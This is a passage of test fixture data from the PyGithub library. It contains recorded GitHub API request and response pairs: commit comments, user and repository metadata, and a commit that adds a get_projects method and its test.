!","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347083","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1347083","created_at":"2012-05-18T08:59:28Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"id":1347083},{"updated_at":"2012-05-18T10:55:55Z","position":null,"body":"Ah, thanks for the clarification. :blush:\n\nI made issue #27 for the autocompletion. I already suspected something like this meta-description magic, since I tried to read some of the code and it was pretty arcane. I attributed that to my pythonic noobness, though. Thank you. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347397","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1347397","created_at":"2012-05-18T10:54:23Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":1347397},{"updated_at":"2012-05-18T20:11:17Z","position":3,"body":"This comment is here only to test PyGithub...","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1349654","commit_id":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a#commitcomment-1349654","created_at":"2012-05-18T20:11:17Z","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","line":25,"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"id":1349654}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.testGetPulls.txt0000644000175100001660000016152014756101563022612 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 11 Mar 2020 18:31:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4872'), ('X-RateLimit-Reset', '1583954142'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5ffa37053937aeabd08a1e9114bc44f9"'), ('Last-Modified', 'Wed, 04 Mar 2020 19:53:12 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5F5:6EAF:40CC5:5C935:5E692E6F')] {"login":"mawkee","id":688598,"node_id":"MDQ6VXNlcjY4ODU5OA==","avatar_url":"https://avatars3.githubusercontent.com/u/688598?v=4","gravatar_id":"","url":"https://api.github.com/users/mawkee","html_url":"https://github.com/mawkee","followers_url":"https://api.github.com/users/mawkee/followers","following_url":"https://api.github.com/users/mawkee/following{/other_user}","gists_url":"https://api.github.com/users/mawkee/gists{/gist_id}","starred_url":"https://api.github.com/users/mawkee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mawkee/subscriptions","organizations_url":"https://api.github.com/users/mawkee/orgs","repos_url":"https://api.github.com/users/mawkee/repos","events_url":"https://api.github.com/users/mawkee/events{/privacy}","received_events_url":"https://api.github.com/users/mawkee/received_events","type":"User","site_admin":false,"name":"Danilo Martins","blog":"","hireable":null,"bio":null,"public_repos":24,"public_gists":5,"followers":35,"following":3,"created_at":"2011-03-24T16:07:26Z","updated_at":"2020-03-04T19:53:12Z"} https GET api.github.com None /repos/mawkee/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 11 Mar 2020 18:31:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4871'), ('X-RateLimit-Reset', '1583954142'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2af14fe2e12d075cc59084e321c1f2b0"'), ('Last-Modified', 'Wed, 11 Mar 2020 18:21:09 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5F6:57D5:40129:5B5A2:5E692E6F')] {"id":246648268,"node_id":"MDEwOlJlcG9zaXRvcnkyNDY2NDgyNjg=","name":"PyGithub","full_name":"mawkee/PyGithub","private":false,"owner":{"login":"mawkee","id":688598,"node_id":"MDQ6VXNlcjY4ODU5OA==","avatar_url":"https://avatars3.githubusercontent.com/u/688598?v=4","gravatar_id":"","url":"https://api.github.com/users/mawkee","html_url":"https://github.com/mawkee","followers_url":"https://api.github.com/users/mawkee/followers","following_url":"https://api.github.com/users/mawkee/following{/other_user}","gists_url":"https://api.github.com/users/mawkee/gists{/gist_id}","starred_url":"https://api.github.com/users/mawkee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mawkee/subscriptions","organizations_url":"https://api.github.com/users/mawkee/orgs","repos_url":"https://api.github.com/users/mawkee/repos","events_url":"https://api.github.com/users/mawkee/events{/privacy}","received_events_url":"https://api.github.com/users/mawkee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/mawkee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/mawkee/PyGithub","forks_url":"https://api.github.com/repos/mawkee/PyGithub/forks","keys_url":"https://api.github.com/repos/mawkee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mawkee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mawkee/PyGithub/teams","hooks_url":"https://api.github.com/repos/mawkee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/mawkee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/mawkee/PyGithub/events","assignees_url":"https://api.github.com/repos/mawkee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/mawkee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/mawkee/PyGithub/tags","blobs_url":"https://api.github.com/repos/mawkee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mawkee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mawkee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/mawkee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mawkee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/mawkee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/mawkee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/mawkee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/mawkee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/mawkee/PyGithub/subscription","commits_url":"https://api.github.com/repos/mawkee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/mawkee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/mawkee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/mawkee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/mawkee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/mawkee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mawkee/PyGithub/merges","archive_url":"https://api.github.com/repos/mawkee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mawkee/PyGithub/downloads","issues_url":"https://api.github.com/repos/mawkee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/mawkee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/mawkee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/mawkee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mawkee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/mawkee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/mawkee/PyGithub/deployments","created_at":"2020-03-11T18:21:08Z","updated_at":"2020-03-11T18:21:09Z","pushed_at":"2020-03-11T01:40:27Z","git_url":"git://github.com/mawkee/PyGithub.git","ssh_url":"git@github.com:mawkee/PyGithub.git","clone_url":"https://github.com/mawkee/PyGithub.git","svn_url":"https://github.com/mawkee/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12540,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-03-11T14:41:36Z","pushed_at":"2020-03-11T01:40:27Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12540,"stargazers_count":3259,"watchers_count":3259,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1058,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":48,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1058,"open_issues":48,"watchers":3259,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-03-11T14:41:36Z","pushed_at":"2020-03-11T01:40:27Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12540,"stargazers_count":3259,"watchers_count":3259,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1058,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":48,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1058,"open_issues":48,"watchers":3259,"default_branch":"master"},"network_count":1058,"subscribers_count":0} https GET api.github.com None /repos/mawkee/PyGithub/commits/e44d11d565c022496544dd6ed1f19a8d718c2b0c {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 11 Mar 2020 18:31:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4870'), ('X-RateLimit-Reset', '1583954142'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5774e067fbbde9d666953e4441e4d4a8"'), ('Last-Modified', 'Wed, 11 Mar 2020 01:40:25 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E5F7:0C8B:4A60D:6AADF:5E692E6F')] {"sha":"e44d11d565c022496544dd6ed1f19a8d718c2b0c","node_id":"MDY6Q29tbWl0MjQ2NjQ4MjY4OmU0NGQxMWQ1NjVjMDIyNDk2NTQ0ZGQ2ZWQxZjE5YThkNzE4YzJiMGM=","commit":{"author":{"name":"Anuj Bansal","email":"bansalanuj1996@gmail.com","date":"2020-03-11T01:40:25Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-03-11T01:40:25Z"},"message":"Add list projects support, update tests (#1431)","tree":{"sha":"8a0046d3031e5e436484d28f62238d328626323b","url":"https://api.github.com/repos/mawkee/PyGithub/git/trees/8a0046d3031e5e436484d28f62238d328626323b"},"url":"https://api.github.com/repos/mawkee/PyGithub/git/commits/e44d11d565c022496544dd6ed1f19a8d718c2b0c","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJeaEGJCRBK7hj4Ov3rIwAAdHIIAKRwMPF9NPpoGqyLFouFL9os\ntKiWxnS7xqLlAV0YH3DJJXB0SXthIIqqbkvzmBpWQsb8JCKJLmDnSdNXqSwKCFjp\n89ratR0H+BkffmTEAGKs2wtJT7+vYsdknbcwnwzS1z+E7ER6ntS4oeD22jzqGW3S\nM4j8qaiHDCIkeLKITpfl6ZcpEohFpS5JrOtpabRGTRhoGlQZydG2Z1Ia85KPc8WW\nZulxypX3hSuxsqPELqm1LfgkKBIY0Dm+HRZxiwzAk6FOCIrjOyNEnOXdNvKjiTEg\n0xAPYu5NFfgg5yHVGcVT6RPkRmG84+Ht0Mr5zcBsDwfueBQ4/blDLEegrwWUc4c=\n=RS+y\n-----END PGP SIGNATURE-----\n","payload":"tree 8a0046d3031e5e436484d28f62238d328626323b\nparent b1c35499f4a97e71faa142e376fbea9488362679\nauthor Anuj Bansal 1583890825 +0530\ncommitter GitHub 1583890825 +1100\n\nAdd list projects support, update tests (#1431)\n\n"}},"url":"https://api.github.com/repos/mawkee/PyGithub/commits/e44d11d565c022496544dd6ed1f19a8d718c2b0c","html_url":"https://github.com/mawkee/PyGithub/commit/e44d11d565c022496544dd6ed1f19a8d718c2b0c","comments_url":"https://api.github.com/repos/mawkee/PyGithub/commits/e44d11d565c022496544dd6ed1f19a8d718c2b0c/comments","author":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"b1c35499f4a97e71faa142e376fbea9488362679","url":"https://api.github.com/repos/mawkee/PyGithub/commits/b1c35499f4a97e71faa142e376fbea9488362679","html_url":"https://github.com/mawkee/PyGithub/commit/b1c35499f4a97e71faa142e376fbea9488362679"}],"stats":{"total":76,"additions":76,"deletions":0},"files":[{"sha":"44d41b88ac6b7233967acf758ef56f676b9c21da","filename":"github/NamedUser.py","status":"modified","additions":18,"deletions":0,"changes":18,"blob_url":"https://github.com/mawkee/PyGithub/blob/e44d11d565c022496544dd6ed1f19a8d718c2b0c/github/NamedUser.py","raw_url":"https://github.com/mawkee/PyGithub/raw/e44d11d565c022496544dd6ed1f19a8d718c2b0c/github/NamedUser.py","contents_url":"https://api.github.com/repos/mawkee/PyGithub/contents/github/NamedUser.py?ref=e44d11d565c022496544dd6ed1f19a8d718c2b0c","patch":"@@ -49,6 +49,8 @@\n import github.Plan\n import github.Repository\n \n+from . import Consts\n+\n \n class NamedUser(github.GithubObject.CompletableGithubObject):\n \"\"\"\n@@ -481,6 +483,22 @@ def get_orgs(self):\n github.Organization.Organization, self._requester, self.url + \"/orgs\", None\n )\n \n+ def get_projects(self, state=\"open\"):\n+ \"\"\"\n+ :calls: `GET /users/:user/projects `_\n+ :param state: string\n+ :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Project.Project`\n+ \"\"\"\n+ assert isinstance(state, str), state\n+ url_parameters = {\"state\": state}\n+ return github.PaginatedList.PaginatedList(\n+ github.Project.Project,\n+ self._requester,\n+ self.url + \"/projects\",\n+ url_parameters,\n+ headers={\"Accept\": Consts.mediaTypeProjectsPreview},\n+ )\n+\n def get_public_events(self):\n \"\"\"\n :calls: `GET /users/:user/events/public `_"},{"sha":"33f8e833aaafdcefa45eadcc40f117fac2a7990d","filename":"tests/NamedUser1430.py","status":"added","additions":36,"deletions":0,"changes":36,"blob_url":"https://github.com/mawkee/PyGithub/blob/e44d11d565c022496544dd6ed1f19a8d718c2b0c/tests/NamedUser1430.py","raw_url":"https://github.com/mawkee/PyGithub/raw/e44d11d565c022496544dd6ed1f19a8d718c2b0c/tests/NamedUser1430.py","contents_url":"https://api.github.com/repos/mawkee/PyGithub/contents/tests/NamedUser1430.py?ref=e44d11d565c022496544dd6ed1f19a8d718c2b0c","patch":"@@ -0,0 +1,36 @@\n+# -*- coding: utf-8 -*-\n+\n+############################ Copyrights and license ############################\n+# #\n+# Copyright 2020 Anuj Bansal #\n+# #\n+# This file is part of PyGithub. #\n+# http://pygithub.readthedocs.io/ #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+################################################################################\n+\n+from . import Framework\n+\n+\n+class NamedUser1430(Framework.TestCase):\n+ def setUp(self):\n+ super().setUp()\n+ self.user = self.g.get_user(\"ahhda\")\n+\n+ def testGetProjects(self):\n+ self.assertListKeyBegin(\n+ self.user.get_projects(state=\"all\"), lambda e: e.id, [4083095],\n+ 